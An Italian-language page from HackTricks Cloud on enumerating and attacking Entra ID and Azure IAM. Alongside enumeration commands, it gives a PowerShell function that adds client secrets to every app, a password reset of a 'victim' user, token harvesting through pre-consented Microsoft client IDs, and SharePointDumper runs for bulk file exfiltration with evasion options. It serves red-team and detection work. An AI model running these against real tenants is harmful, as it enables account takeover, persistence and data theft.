Az - Entra ID (AzureAD) & Azure IAM
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
Informazioni di base
Azure Active Directory (Azure AD) è il servizio cloud di Microsoft per la gestione delle identitĂ e degli accessi. Consente agli utenti di effettuare il sign in e ottenere accesso alle risorse, sia allâinterno che allâesterno dellâorganizzazione, includendo Microsoft 365, the Azure portal e numerose altre applicazioni SaaS. Azure AD è progettato per fornire servizi di identitĂ essenziali, in particolare authentication, authorization e user management.
Tra le funzionalitĂ principali di Azure AD ci sono multi-factor authentication e conditional access, oltre a unâintegrazione fluida con altri servizi di sicurezza Microsoft. Queste funzionalitĂ migliorano significativamente la sicurezza delle identitĂ utente e permettono alle organizzazioni di implementare e far rispettare efficacemente le proprie policy di accesso. Come componente fondamentale dellâecosistema dei servizi cloud di Microsoft, Azure AD è centrale per la gestione cloud delle identitĂ utente.
Enumerazione
Connessione
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
##Â With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
##Â With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com
# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph
# If you want to configure some defaults
az configure
# Get user logged-in already
az ad signed-in-user show
# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
Quando effettui il login via CLI in Azure con qualsiasi programma, stai usando unâAzure Application da un tenant che appartiene a Microsoft. Queste Application, come quelle che puoi creare nel tuo account, hanno un client id. Non potrai vederle tutte nelle liste delle applicazioni autorizzate visibili nella console, ma sono consentite di default.
Per esempio uno powershell script che si autentica usa unâapp con client id 1950a258-227b-4e31-a9cf-717495945fc2. Anche se lâapp non compare nella console, un sysadmin potrebbe bloccare quellâapplication cosĂŹ gli utenti non possono accedere usando tool che si connettono tramite quellâApp.
Tuttavia, ci sono altri client-ids di applicazioni che ti permetteranno di connetterti a Azure:
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
Tenant
# List tenants
az account tenant list
Utenti
Per maggiori informazioni sugli utenti di Entra ID consulta:
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all
# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
Cambia password utente
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText âForce
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password âVerbose
MFA & Conditional Access Policies
Si raccomanda vivamente di aggiungere MFA a ogni utente; tuttavia alcune aziende non lo impostano oppure lo configurano con una Conditional Access: allâutente sarĂ richiesto MFA se effettua lâaccesso da una posizione specifica, da un browser specifico o per una determinata condizione. Queste policy, se non configurate correttamente, potrebbero essere soggette a bypasses. Controlla:
Az - Conditional Access Policies & MFA Bypass
Gruppi
Per maggiori informazioni sugli Entra ID groups consulta:
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>
# To get Entra ID roles assigned check how it's done with users and use a group ID
Aggiungi utente al gruppo
I proprietari del gruppo possono aggiungere nuovi utenti al gruppo
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
Warning
I gruppi possono essere dinamici, il che significa sostanzialmente che se un utente soddisfa certe condizioni verrà aggiunto a un gruppo. Ovviamente, se le condizioni si basano su attributi che un utente può controllare, egli potrebbe abusare di questa funzionalità per entrare in altri gruppi.
Controlla come abusare dei gruppi dinamici nella pagina seguente:
Service Principals
Per maggiori informazioni sui service principals di Entra ID consulta:
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Warning
LâOwner di un Service Principal può cambiare la sua password.
Elenca e prova ad aggiungere un client secret in ogni Enterprise App
```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications..PARAMETER GraphToken Pass the Graph API Token
.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken âeyJ0eX..â
.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>
[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )
$AppList = $null $AppPassword = $null
List All the Applications
$Params = @{ âURIâ = âhttps://graph.microsoft.com/v1.0/applicationsâ âMethodâ = âGETâ âHeadersâ = @{ âContent-Typeâ = âapplication/jsonâ âAuthorizationâ = âBearer $GraphTokenâ } }
try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }
Add Password in the Application
if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()
foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject
$Params = @{ âURIâ = âhttps://graph.microsoft.com/v1.0/applications/$ID/addPasswordâ âMethodâ = âPOSTâ âHeadersâ = @{ âContent-Typeâ = âapplication/jsonâ âAuthorizationâ = âBearer $GraphTokenâ } }
$Body = @{ âpasswordCredentialâ= @{ âdisplayNameâ = âPasswordâ } }
try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName âObject IDâ -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName âApp IDâ -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName âApp Nameâ -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName âKey IDâ -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName âSecretâ -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output âFailed to add new client secret to â$($App.displayName)â Application.â } } if($Details -ne $null) { Write-Output ââ Write-Output âClient secret added to : â Write-Output $Details | fl * } } else { Write-Output âFailed to Enumerate the Applications.â } }
</details>
### Applicazioni
Per maggiori informazioni sulle Applicazioni, consulta:
<a class="content_ref" href="../az-basic-information/index.html"><span class="content_ref_label">Az - Basic Information</span></a>
Quando viene generata un'App vengono assegnati 3 tipi di permessi:
- **Permessi** dati al **Service Principal** (via ruoli).
- **Permessi** che l'**app** può avere e usare per conto dell'**utente**.
- **API Permissions** che danno all'**app** permessi su EntraID senza richiedere che altri ruoli concedano questi permessi.
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Trova tutte le autorizzazioni API delle applicazioni e contrassegna le API di proprietĂ di Microsoft (az cli)
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( âf8cdef31-a31e-4b4a-93e4-5f571e91255aâ â72f988bf-86f1-41af-91ab-2d7cd011db47â )
is_microsoft_owner() { local owner=â$1â local id for id in â${MICROSOFT_OWNER_ORG_IDS[@]}â; do if [ â$ownerâ = â$idâ ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=â$1â local perm_type=â$2â local perm_id=â$3â local key value key=â${resource_app_id}|${perm_type}|${perm_id}â
value=â$(awk -F â\tâ -v k=â$keyâ â$1==k {print $2; exit}â â$tmp_perm_cacheâ)â if [ -n â$valueâ ]; then printf â%s\nâ â$valueâ return 0 fi
if [ â$perm_typeâ = âScopeâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âoauth2PermissionScopes[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â elif [ â$perm_typeâ = âRoleâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âappRoles[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â else value=ââ fi
[ -n â$valueâ ] || value=âUNKNOWNâ printf â%s\t%s\nâ â$keyâ â$valueâ >> â$tmp_perm_cacheâ printf â%s\nâ â$valueâ }
command -v az >/dev/null 2>&1 || { echo âaz CLI not foundâ >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo âjq not foundâ >&2; exit 1; } az account show >/dev/null
apps_json=â$(az ad app list âall âquery â[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]â -o json)â
tmp_map=â$(mktemp)â tmp_ids=â$(mktemp)â tmp_perm_cache=â$(mktemp)â trap ârm -f â$tmp_mapâ â$tmp_idsâ â$tmp_perm_cacheââ EXIT
Build unique resourceAppId values used by applications.
jq -r â.[][2][]?.resourceAppIdâ <<<â$apps_jsonâ | sort -u > â$tmp_idsâ
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n â$ridâ ] || continue sp_json=â$(az ad sp show âid â$ridâ âquery â{owner:appOwnerOrganizationId,name:displayName}â -o json 2>/dev/null || true)â owner=â$(jq -r â.owner // âUNKNOWNââ <<<â$sp_jsonâ)â name=â$(jq -r â.name // âUNKNOWNââ <<<â$sp_jsonâ)â printf â%s\t%s\t%s\nâ â$ridâ â$ownerâ â$nameâ >> â$tmp_mapâ done < â$tmp_idsâ
echo -e âappDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissionsâ
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=â$(jq -r â.[0]â <<<â$rowâ)â app_id=â$(jq -r â.[1]â <<<â$rowâ)â
while IFS= read -r rra; do resource_app_id=â$(jq -r â.resourceAppIdâ <<<â$rraâ)â map_line=â$(awk -F â\tâ -v id=â$resource_app_idâ â$1==id {print; exit}â â$tmp_mapâ)â owner_org=â$(awk -Fâ\tâ â{print $2}â <<<â$map_lineâ)â resource_name=â$(awk -Fâ\tâ â{print $3}â <<<â$map_lineâ)â
[ -n â$owner_orgâ ] || owner_org=âUNKNOWNâ [ -n â$resource_nameâ ] || resource_name=âUNKNOWNâ
if is_microsoft_owner â$owner_orgâ; then is_ms=âtrueâ else is_ms=âfalseâ fi
permissions_csv=ââ while IFS= read -r access; do perm_type=â$(jq -r â.typeâ <<<â$accessâ)â perm_id=â$(jq -r â.idâ <<<â$accessâ)â perm_value=â$(get_permission_value â$resource_app_idâ â$perm_typeâ â$perm_idâ)â perm_label=â${perm_type}:${perm_value}â if [ -z â$permissions_csvâ ]; then permissions_csv=â$perm_labelâ else permissions_csv=â${permissions_csv},${perm_label}â fi done < <(jq -c â.resourceAccess[]â <<<â$rraâ)
echo -e â${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}â done < <(jq -c â.[2][]â <<<â$rowâ) done < <(jq -c â.[]â <<<â$apps_jsonâ)
</details>
{{#endtab }}
{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential
{{#endtab }}
{{#tab name=âMS Graphâ }}
# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All
# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *
# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName
# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>
# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications
{{#endtab }}
{{#tab name=âAzure ADâ }}
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id> | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }} {{#endtabs }}
Warning
Unâapp con il permesso
AppRoleAssignment.ReadWritepuò escalare a Global Admin assegnandosi il ruolo.
Per maggiori informazioni consulta questo.
Note
Una stringa segreta che lâapplicazione usa per provare la propria identitĂ quando richiede un token è la password dellâapplicazione.
Quindi, se trovi questa password puoi accedere come service principal allâinterno del tenant.
Nota che questa password è visibile solo quando viene generata (puoi cambiarla ma non puoi recuperarla di nuovo).
Il proprietario dellâapplicazione può aggiungere una password ad essa (quindi può impersonarla).
Gli accessi effettuati da questi service principals non sono contrassegnati come rischiosi e non avranno MFA.
Ă possibile trovare una lista di App ID comunemente usati che appartengono a Microsoft in https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications
Managed Identities
Per maggiori informazioni sulle Managed Identities consulta:
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
Ruoli di Azure
Per ulteriori informazioni sui ruoli di Azure, consulta:
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
Ruoli di Entra ID
Per ulteriori informazioni sui ruoli di Azure, consulta:
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
Dispositivi
# If you know how to do this send a PR!
Warning
Se un dispositivo (VM) è AzureAD joined, gli utenti di AzureAD saranno in grado di effettuare il login.
Inoltre, se lâutente loggato è Owner del dispositivo, sarĂ amministratore locale.
UnitĂ amministrative
Per maggiori informazioni sulle unitĂ amministrative consulta:
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
Esfiltrazione di dati SharePoint delegata tramite Microsoft Graph (SharePointDumper)
Gli attaccanti in possesso di un token Microsoft Graph delegato che include Sites.Read.All o Sites.ReadWrite.All possono enumerare sites/drives/items tramite Graph e poi scaricare i contenuti dei file tramite SharePoint pre-authentication download URLs (URL a tempo limitato che incorporano un access token). Lo script SharePointDumper automatizza lâintero flusso (enumeration â pre-auth downloads) ed emette telemetria per richiesta utile per i test di rilevamento.
Ottenere token delegati utilizzabili
- SharePointDumper stesso non si autentica; fornisci un access token (opzionalmente un refresh token).
- Client di first-party giĂ pre-consentiti possono essere abusati per generare un token Graph senza registrare unâapp. Esempio di invocazioni
Invoke-Auth(da EntraTokenAid):
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
Note
I client FOCI TRUE supportano il refresh su piĂš dispositivi; i client FOCI FALSE spesso richiedono
-Originper soddisfare la validazione dellâorigine del reply URL.
Esecuzione di SharePointDumper per enumeration + exfiltration
- Dump di base con UA personalizzato / proxy / throttling:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
- Controllo dellâambito: includere/escludere siti o estensioni e limiti globali:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
- Riprendi esecuzioni interrotte (riesegue lâenumerazione ma salta gli elementi giĂ scaricati):
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
- Aggiornamento automatico del token su HTTP 401 (richiede EntraTokenAid caricato):
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
Note operative:
- Preferisce token CAE-enabled per evitare scadenze a metĂ esecuzione; i tentativi di refresh non vengono registrati nel log API dello strumento.
- Genera log di richieste CSV/JSON per Graph + SharePoint e oscura per impostazione predefinita i token di download embedded di SharePoint (attivabile).
- Supporta custom User-Agent, HTTP proxy, ritardo per richiesta + jitter, e spegnimento sicuro con Ctrl+C per modellare il traffico durante test di rilevamento/IR.
Entra ID Privilege Escalation
Azure Privilege Escalation
Az - Azure IAM Privesc (Authorization)
Meccanismi difensivi
Privileged Identity Management (PIM)
Privileged Identity Management (PIM) in Azure aiuta a prevenire lâassegnazione di privilegi eccessivi agli utenti.
Una delle funzionalitĂ principali offerte da PIM è che permette di non assegnare ruoli a principal costantemente attivi, bensĂŹ renderli eligibili per un periodo di tempo (es. 6 mesi). Quando lâutente vuole attivare quel ruolo, deve richiederlo indicando il tempo necessario per il privilegio (es. 3 ore). Quindi un admin deve approvare la richiesta.
Nota che lâutente può anche richiedere di estendere il tempo.
Inoltre, PIM invia email ogni volta che un ruolo privilegiato viene assegnato a qualcuno.
.png)
Quando PIM è abilitato è possibile configurare ogni ruolo con requisiti come:
- Durata massima (ore) dellâattivazione
- Richiedere MFA allâattivazione
- Richiedere il contesto di autenticazione di Conditional Access
- Richiedere giustificazione allâattivazione
- Richiedere informazioni sul ticket allâattivazione
- Richiedere approvazione per attivare
- Tempo massimo per la scadenza delle assegnazioni eleggibili
- Molte altre configurazioni su quando e a chi inviare notifiche quando avvengono determinate azioni relative a quel ruolo
Conditional Access Policies
Check:
Az - Conditional Access Policies & MFA Bypass
Entra Identity Protection
Entra Identity Protection è un servizio di sicurezza che permette di rilevare quando un utente o un sign-in sono troppo rischiosi per essere accettati, consentendo di bloccare lâutente o il tentativo di sign-in.
Permette allâadmin di configurarlo per bloccare i tentativi quando il rischio è âLow and aboveâ, âMedium and aboveâ o âHighâ. Tuttavia, per impostazione predefinita è completamente disabilitato:
.png)
Tip
Oggi si raccomanda di aggiungere queste restrizioni tramite Conditional Access policies, dove è possibile configurare le stesse opzioni.
Entra Password Protection
Entra Password Protection (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) è una funzionalitĂ di sicurezza che aiuta a prevenire lâabuso di password deboli bloccando gli account quando avvengono diversi tentativi di login non riusciti.
Consente inoltre di vietare una lista personalizzata di password che bisogna fornire.
Può essere applicato sia a livello cloud che in Active Directory on-premises.
La modalità predefinita è Audit:
.png)
Riferimenti
- https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units
- SharePointDumper
- EntraTokenAid
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

